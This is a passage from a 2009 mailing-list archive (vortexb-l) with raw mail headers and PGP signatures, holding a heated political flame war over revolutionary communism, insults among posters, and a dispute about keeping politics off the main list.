So many other issues fade away when p= eople aren't being fed toxic food and thoughts and regain a bright visi= on of a bright future.

Everyone knows the current systems are broken that is a cliche, but the= y lack the vision to realize that in many cases you are free to create an a= lternative system without resistance, they recognize that they may be a cog= in a machine that is destructive but they lack the empowerment, responsibi= lity and vision to change anything.

And they would be correct because a man is not an island, it is merely = unity that is missing, unity is something that the current world acts to op= pose of course.

So again a way of uniting people is needed, so it co= mes back to money and or inspiring communication to enroll people.

It is possible, I have actually already done this once, without paying = anyone, people can get behind an idea and the idea takes on a life of it= 9;s own becoming significant in impact and longevity (and can retain most o= f it's origional vision without any continued oversight).



=A0
He's going to do it all by himself -- or with the millions of radic= al working class people that are agitating in the streets all day. Can'= t you hear them?




On Mon, Jun 8, 2009 at 11:36 PM, grok <gro= k@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, John Berry <aether22@gmail.com>
mounted the barricade and roared out:

> grok, you have been less than clear at least you were initially = on just what
> it is you support.

Sez you.




> To me if someone says communism and nothing more visions of Stalinism,= Mao,
> Pol Pot, North Korea and various other examples come to mind.

Since you people dis/misunderstand the simplest, most basic things about po= litix,
just how, exactly, pray tell, am I to proceed, then..?





> I assumed however you didn't mean a dehumanizing system that kills= people in
> wholesale numbers and said so only to have you seemingly say that was<= br> > precisely what you meant.

Who's system are we talking about now..?





> Now however it seems that what you support are not the kind of atrocit= ies
> the term suggests to most.

Assuming the veracity of that statement -- of course not. But I ain't n= o frigging
pacifist either. 'Death to tyrants', and all that.





> Instead my mind goes to a hippie communal farm, ok that's a far ni= cer
> picture.

Ya. I like that pichure too. I also like the one the xians put out that has= the
lamb lying down with the lion. So nice.





> But it is pointless to use labels with so much negative meaning and ch= arge
> to them, no one is going to understand your argument because the pictu= res in
> their mind will be worth more than your thousand words.

Sorry, fella. I get this argument all the time. From people who don't h= ave a clue
about politix. I'm not here to win converts. I expect few-to-none, in f= act.

And again: this isn't really about me. It's in fact much more about= YOU people.






> BTW I'd like to add that while your mentioning of Hitler is tactic= ally
> unsound as you are attacking the reader

I'll be the judge of that, thankewverymuch.





> you are not entierly wrong.
> Grand daddy Bush along with Alcoa and Wall Street propped up Hitler/Ge= rmany
> and many business ties today remain between the atrocities of the NAZI= 's and
> various pharmaceutical and chemical companies still around today.

I believe I even made that very point on vortex-l. Did you happen to see th= at one..?





> Politics and history is full of so many lies and so many levels that i= t is
> pointless to wrap your arguments in such.
>
> Rather drop the politics, drop 'America is corrupt' because th= eir TV
> programs tell them that anyway.

1: I didn't start it.
2: Wrong taktix.

And what's more: being the right taktix doesn't mean that it's = gonna be pleasant,
either.






> Oh, and most people are mostly interlectually dishonest most of the ti= me and
> you know what? They were raised to feel comfortible despite such cogna= tive
> dissonance.
> They were raised to beliece the fairy tale.

Ya, I know that. And guess what. *There's a downside to that*.






> Consider this an invitation to think in new ways, of new structures wi= th new
> language to find a new solution, a better way rather than rehashing th= e
> mistakes of the past.

Been there. Done that (i.e. attempted to square that particular circle). No= thanx.

This is just the usual petit-bourgeois avoidance mechanism tried from one o= f
various classic angles. Same old same-old, fella. The Revolution is still o= n. The
old-fashioned way.


- -- grok.







- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkot2KAACgkQXo3EtEYbt3HA3QCgqA+W94HOKopqZGiIQnFlhmxW
+UQAoISutzMdnpPznMMa2rWlLYo4+enr
=3D+jdG
-----END PGP SIGNATURE-----




--
Never did I= see a second sun
Never did my skin touch a land of glass
Never did m= y rifle point but true
But in a land empty of enemies
Waiting for the= tick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew

--000e0cd258303efdc4046be4223d-- From vortexb-l-request@eskimo.com Mon Jun 8 23:18:05 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n596I28M025155; Mon, 8 Jun 2009 23:18:02 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n596HwoJ025132; Mon, 8 Jun 2009 23:17:58 -0700 Resent-Date: Mon, 8 Jun 2009 23:17:58 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 8 Jun 2009 23:17:51 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Mig Pilot Message-ID: <20090609061751.GA27950@shell.resist.ca> Reply-To: grok@resist.ca References: <2CB0AF9101CF4C3889555DE9CD07EE70@REVTEC1> <20090609013918.GD10785@shell.resist.ca> <20090609033600.GJ10785@shell.resist.ca> <63ffa6020906082049v695532c5y3e13d4149fd1204a@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020906082049v695532c5y3e13d4149fd1204a@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: AGS, light anti-armour weapon, ATGM, SS-21, Misagh I User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4364 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 606 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > He doesn't need converts for his revolution. He's going to do it all by > himself -- or with the millions of radical working class people that are > agitating in the streets all day. Can't you hear them? Wait, dumbass. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkot/o8ACgkQXo3EtEYbt3HdXgCg3lNcNhsmDgSCpz0NaLe1D13R /ycAoMSxm+I3CcehGyhr7jh7HGWjg8mI =cuwF -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Tue Jun 9 00:23:02 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n597N0Ze017039; Tue, 9 Jun 2009 00:23:00 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n597MsGb017014; Tue, 9 Jun 2009 00:22:54 -0700 Resent-Date: Tue, 9 Jun 2009 00:22:54 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=8tj/i1IVl3YtOFz9MeyAxaufEazx2l1EkwQAX85UmX4=; b=h74mpOPwSlHX1scLxHtUIjptJK48BSQ6R8somPmdOuoNjaBgscrqn9xeUsjtQ1bJmO E0wyErl5rxewtbp4A4rT2Abh8Mk2LEb74NQXqDTQ7Ca5nuNlBprHu8n8Wu2tfOSyigfB S55hBU+IMauuMoUXKGfaXGVexKE/tCaD5+3yw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=a7T3BUEpedLhSU1O0cXSwxv8coz8o6fH2MrGIlbm0TRKHSTuka0xxZZwJ64S6tMtNK FtF2uh7A9bHLnfHIPDxSvJIlB4l30FqSw68kuvB0VQFxwKaWYSZawrUEoiSR79LHRDJb MIRbAzPbh/go2rtDH/61UVBtIvB+X7Jzn1prg= MIME-Version: 1.0 In-Reply-To: <20090609061751.GA27950@shell.resist.ca> References: <2CB0AF9101CF4C3889555DE9CD07EE70@REVTEC1> <20090609013918.GD10785@shell.resist.ca> <20090609033600.GJ10785@shell.resist.ca> <63ffa6020906082049v695532c5y3e13d4149fd1204a@mail.gmail.com> <20090609061751.GA27950@shell.resist.ca> From: Charles HOPE Date: Tue, 9 Jun 2009 03:22:29 -0400 Message-ID: <63ffa6020906090022xa52565ajc662895c4a8e0436@mail.gmail.com> Subject: Re: [VoB]:Mig Pilot To: grok@resist.ca Cc: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001485f81290db8603046be539f7 Resent-Message-ID: <6PzzwC.A.vJE.O3gLKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4365 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 607 --001485f81290db8603046be539f7 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable 150 years and still waiting. Sort of like a street preacher predicting the Rapture. On Tue, Jun 9, 2009 at 2:17 AM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > He doesn't need converts for his revolution. He's going to do it all by > > himself -- or with the millions of radical working class people that ar= e > > agitating in the streets all day. Can't you hear them? > > Wait, dumbass. > > - -- grok. > > > > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkot/o8ACgkQXo3EtEYbt3HdXgCg3lNcNhsmDgSCpz0NaLe1D13R > /ycAoMSxm+I3CcehGyhr7jh7HGWjg8mI > =3DcuwF > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001485f81290db8603046be539f7 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable 150 years and still waiting. Sort of like a street preacher predicting the = Rapture.


On Tue, Jun 9, 2009 at 2:17 = AM, grok <grok@resis= t.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> He doesn't need converts for his revolutio= n. He's going to do it all by
> himself -- or with the millions of radical working class people that a= re
> agitating in the streets all day. Can't you hear them?

Wait, dumbass.

- -- grok.










- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkot/o8ACgkQXo3EtEYbt3HdXgCg3lNcNhsmDgSCpz0NaLe1D13R
/ycAoMSxm+I3CcehGyhr7jh7HGWjg8mI
=3DcuwF
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001485f81290db8603046be539f7-- From vortexb-l-request@eskimo.com Tue Jun 9 08:12:25 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n59FCNYq024205; Tue, 9 Jun 2009 08:12:23 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n59FCMk8024194; Tue, 9 Jun 2009 08:12:22 -0700 Resent-Date: Tue, 9 Jun 2009 08:12:22 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=KntOWRHYNCmSKFpCdrhbTphKSRk7N0oUOfC/Cq6Kthc=; b=PTtXGVSBMjPfVYZhDDbo/JHbqFUayCpekzC5mwSnECBXo52aRePJTEb+6IyF3L21OV SuUEiR3Fvt1uq9gP1fYx/W7uSAsYPVAI2PFscdKjf/Ff10bkXX+MTjNTdr6VKXLtxROR fC9HTVn24TAwTxYXRuaoW3dfbf5v0B5ylBTsM= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=kP6PNO2ukIBeeeXMGWWOceaSSHre33tz+Evx8mlO/CoR5e3BUyoeGcIGztKgjT7rbD zdPZPf+fjwr/MtKIjpPVDDWMozZv5AIrmRdlwO7WuaIp3HnC93ImRMKMiMxuTlrPWJsn r2VnHqX+V3qvk8KGHbKbnrzb06hDqfwNYuFGM= MIME-Version: 1.0 In-Reply-To: <20090609020857.GF10785@shell.resist.ca> References: <20090608082941.GC29614@Isis> <20090608093830.GA19130@shell.resist.ca> <20090608110942.GF29614@Isis> <20090609012051.GA10785@shell.resist.ca> <20090609020857.GF10785@shell.resist.ca> Date: Tue, 9 Jun 2009 08:12:22 -0700 Message-ID: Subject: Re: [VoB]:Re: grok is removed temporarily From: leaking pen To: vortexb-l Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4366 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 608 No, i mostly agree with you politically and economically. But even I think you're just being an ass at this point. On Mon, Jun 8, 2009 at 7:08 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Terry Blanton > mounted the barricade and roared out: > >> On Mon, Jun 8, 2009 at 8:20 PM, grok wrote: >> >> > No wonder >> > they hate me. They are revealed for what they truly are, for once. >> >> No one hates you. Be it Marxism or Capitalism, you must play by the rulez. > > Bullshit. You people have very selective memories. And sure -- I didn't back down. > I don't like the hypocritical application of "rules" -- good, bad or otherwise. > It's also my 'policy' -- because I have bigger fish to fry than you lot. > > And again: the issue really isn't me. It's really what *you* people really are. The > "rules" are in fact merely a polite way for a den of thieves to overlook the > inconvenient facts of their profession while enjoying themselves. > > > > >> > I'll get my OU news elsewhere. It's a lot harder to >> > be a monopoly -- and a gatekeeper -- these daze. >> >> Try overunity.com. The gatekeeper has no function without the keymaster. >> >> Terry > > There're plenty of options. Vortex-l is not the Universe. And you are too kind. > > - -- grok. > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkotxDkACgkQXo3EtEYbt3Gk9wCePXHh8oJ1eb9tUSsVS6MxD7nB > sv8AnRmOyjKsuvRk9AEMwRFRmja2NDhg > =qHll > -----END PGP SIGNATURE----- > > From vortexb-l-request@eskimo.com Thu Jun 11 08:06:49 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5BF6hBq005521; Thu, 11 Jun 2009 08:06:43 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5BF6d6u005484; Thu, 11 Jun 2009 08:06:39 -0700 Resent-Date: Thu, 11 Jun 2009 08:06:38 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: Lgzw5WcVM1n5QnnOIQjXjFYmm3NBD0Sq8vHHQ3cqVPhOjDyaIdqozaGDjX3CtR80wGtWR9tVAAHxogF.S2C9HypWDL4p5rQT.lZBWmf_1v_7lLuC5r2BpQt3X7h1Dl81ixT4.y.gl0._AJrkbkg6QVOKU7HnFyArc3Hguylr_W_93TorGm4GEUT.OlgcRMIjIZuIt7qbZI9zFZsorvBb.pDez4mxOHGOZRbN36Aw6WasDAwgUI9M329A04PhNWUS.qX2NIT.lUyrsJxtd2TPHByIJ.vWTT3W.BXmQUG. X-Yahoo-Newman-Property: ymail-3 From: John Fields To: vortexb-l@eskimo.com Date: Thu, 11 Jun 2009 10:06:33 -0500 Organization: Austin Instruments. Inc. Message-ID: X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4367 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:test Status: RO X-Status: X-Keywords: X-UID: 609 test JF =20 From vortexb-l-request@eskimo.com Thu Jun 11 13:00:51 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5BK0nmr021431; Thu, 11 Jun 2009 13:00:49 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5BK0jke021411; Thu, 11 Jun 2009 13:00:45 -0700 Resent-Date: Thu, 11 Jun 2009 13:00:45 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: aClHFiQVM1lnKNX8cCb18o4iEIANWFsyh5xcnpvJeIvBP_l1yYUwR9grz9HgjIJ31Se6Ea8V_2E8Ka2anV4nTMTVTL.AraeGhX74PTtIUEB5HFHjmc3_tRuHuuOuCjtPRLlTJnTHmfDdSZBbmuTJqcPOznMemURcXGxlDvnifGRB0UVSnXLnJkdVa1flgJQ_ujDK31AfJIM6FEiS8e_DOjF1tHWYXNUlGJZuK4tsiDlaU16agnP9BMc80GMwlSv_9lqLuRAM_qbF4TDZ99leoypOYzf8D51fpr9NR0np X-Yahoo-Newman-Property: ymail-3 From: John Fields To: vortexb-l@eskimo.com Date: Thu, 11 Jun 2009 15:00:41 -0500 Organization: Austin Instruments. Inc. Message-ID: X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4368 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:subscribe Status: RO X-Status: X-Keywords: X-UID: 610 From vortexb-l-request@eskimo.com Fri Jun 12 04:45:34 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5CBjWSr011245; Fri, 12 Jun 2009 04:45:32 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5CBjVMO011240; Fri, 12 Jun 2009 04:45:31 -0700 Resent-Date: Fri, 12 Jun 2009 04:45:31 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type:content-transfer-encoding; bh=PMBLEcIfi4+ViVOjCFlq2GyCudtjrAxlGmK09Anx4e4=; b=AUGPaIljQUpZzwNiFD66kTo2s3I+L5gmQGwnnZQTiw0eTw9h2oL5gyEbIs60J25w3d WtPZYyKZ5zFXpq/LvsNl7oryFPbM336cShv1719mu9zFpIK9q0AjAYGcg8EjHstDZwHa x1oj5QIwm6F/JZfa3hnTTvsfgGNxaN4rjPbCw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type :content-transfer-encoding; b=e+4gM5CmnZdKnEgLY8fcUP3MkUBuiT7oSk273Y2TWEEusKTdbHOL00RyprryWMpa7V 6tT4WTFatol2i3RtGdvkXDiqXjno6lmVxgCVx8g49rXDoEHtQmLJ2blQ4L3IXE8nxEcS dYj72QPkAc/dBtDxExu4F/99QFfTNGvMmfydY= MIME-Version: 1.0 Date: Fri, 12 Jun 2009 07:45:32 -0400 Message-ID: From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: <1ZmvLC.A.gvC.b_jMKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4369 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Shrinking Quarters Status: RO X-Status: X-Keywords: X-UID: 611 Interesting video posted on V; but, not terribly impressive. Our new president does this with a single signature. :-) Terry (rendering unto B that which belongs to B) From vortexb-l-request@eskimo.com Fri Jun 12 09:49:38 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5CGnaeI018425; Fri, 12 Jun 2009 09:49:36 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5CGnapI018416; Fri, 12 Jun 2009 09:49:36 -0700 Resent-Date: Fri, 12 Jun 2009 09:49:35 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:subject :message-id:in-reply-to:references:x-mailer:mime-version :content-type:content-transfer-encoding; bh=wbK2GwmKNsm8H0wZOwW8TKfluhkq01/HNwJz2gpjeyA=; b=qj+ucxXl5dI1MqUwfs/nt358WlhgmflIR3IUccugReQz1vctoFpYqB2kx508G5G9Hi LrrOwiIp28xAfk+a2Y7ru3oezRIgIY6A+6z+YvgB8X58qoXGSfo/CVoyokL6uhfa+2B8 dT56ggXjiPDmRxyWRLEcvptxT29+7EJrAL4pc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=date:from:to:subject:message-id:in-reply-to:references:x-mailer :mime-version:content-type:content-transfer-encoding; b=jR1oAoNdGuD71OvKrYR49Ewu5TujaModTr+VGY+xDAvXHbPEqUEePwa+PMDFj45bRv cKkPkNnNgJC3g/t1Pcy4RcdmpgSzlj+I45cVEu9C974rpYqDIywqhn0Rieh8NttHRIVP S9sJKe6ja/J0r3+AXqRt7vP572LQgNd/DjRwE= Date: Fri, 12 Jun 2009 12:49:33 -0400 From: Pete Bogham To: vortexb-l@eskimo.com Message-Id: <20090612124933.cafad57a.peatbogham@gmail.com> In-Reply-To: References: <7.0.1.0.2.20090611133237.037c6b40@gmail.com> <4A326385.1000605@ieee.org> X-Mailer: Sylpheed 2.4.8 (GTK+ 2.12.9; i486-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4370 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:politics and religion Status: RO X-Status: X-Keywords: X-UID: 612 On Fri, 12 Jun 2009 10:15:04 -0500 OrionWorks wrote: > Technically speaking, and in all fairness, this is NOT Mr. Rothwell's > opinion. So what? The point is, he is the one who dumped the political junk, whatever its origin, into vortex, where it does not belong. It is easy to do what I am doing when you reply to or originate a message, and change the To field to vortexb. If somebody can't tell the difference between politics and everything else, he should stick to vortexb or risk being banned when he blindly deposits politics into vortex. From vortexb-l-request@eskimo.com Fri Jun 12 10:28:49 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5CHSkek002620; Fri, 12 Jun 2009 10:28:46 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5CHSkvr002611; Fri, 12 Jun 2009 10:28:46 -0700 Resent-Date: Fri, 12 Jun 2009 10:28:46 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=4QuRIETPucH/vTIPp3i1bVEy6UAE00WqeOs426/J+84=; b=W68jqMgDEHT8e8g9CRaiYQAeiHffZWLTHZ8I/GPPxq+L8n/dB+hZY7DbquUSpVZqrq uEg1z6b/IFLuKVON/XSCAS0oQ3h4E9FYz17A2pzgvVW1AXSRMhITSWtQSJRNGqTYLjuW nyRtQ/e+POmJq4+dDPVnCYTkJvdSECTEs65i8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=lHyUSRczzArqjXcwyHcIb7dFEpLbVVmkVpznBZX7y0oGqGj9AD6HO0Xy7/dYlYyPVH tmjToWCvOSUy8p15XShueLNbjEPHRuaY3Em9ZM9WFzIyWjizxyWBIktycjMI5HvsmjEi 9KXlY89SypriNQUHMlKsOvuJT6mCO1DRTLSuQ= MIME-Version: 1.0 In-Reply-To: <20090612124933.cafad57a.peatbogham@gmail.com> References: <7.0.1.0.2.20090611133237.037c6b40@gmail.com> <4A326385.1000605@ieee.org> <20090612124933.cafad57a.peatbogham@gmail.com> Date: Fri, 12 Jun 2009 13:28:45 -0400 Message-ID: Subject: Re: [VoB]:Re: [Vo]:politics and religion From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4371 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 613 Yes, I did something similar. However, it can be a difficult decision. Jones mentioned the hyperion solution of extracting oil from Canada's tar sands and I was going to mention that a similar method was used in Atlas Shrugged for extraction of oil from shale deposits when I realized that the book is in itself a controversial political subject in these times. "Count to ten before pressing 'send'". Terry On Fri, Jun 12, 2009 at 12:49 PM, Pete Bogham wrote: > On Fri, 12 Jun 2009 10:15:04 -0500 > OrionWorks wrote: > >> Technically speaking, and in all fairness, this is NOT Mr. Rothwell's >> opinion. > > So what? The point is, he is the one who dumped the political > junk, whatever its origin, into vortex, where it does not belong. > > It is easy to do what I am doing when you reply to or originate a > message, and change the To field to vortexb. > > If somebody can't tell the difference between politics and > everything else, he should stick to vortexb or risk being banned > when he blindly deposits politics into vortex. > > From vortexb-l-request@eskimo.com Fri Jun 12 18:56:01 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5D1twZS004439; Fri, 12 Jun 2009 18:55:58 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5D1tvdM004431; Fri, 12 Jun 2009 18:55:57 -0700 Resent-Date: Fri, 12 Jun 2009 18:55:56 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 12 Jun 2009 18:55:46 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090613015546.GF9087@shell.resist.ca> Reply-To: grok@resist.ca MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Spoke, sex trade, Radon-219, Border Patrol, S-300PMU User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4372 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Murder Inc: U.S. black ops "Dream Team" Status: RO X-Status: X-Keywords: X-UID: 614 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Since Bill Beaty wants to talk criminality -- we can talk criminality. Sure we can. I could start with J. Edgar Hoover and the FBI secret police being behind the assassination of Martin Luther 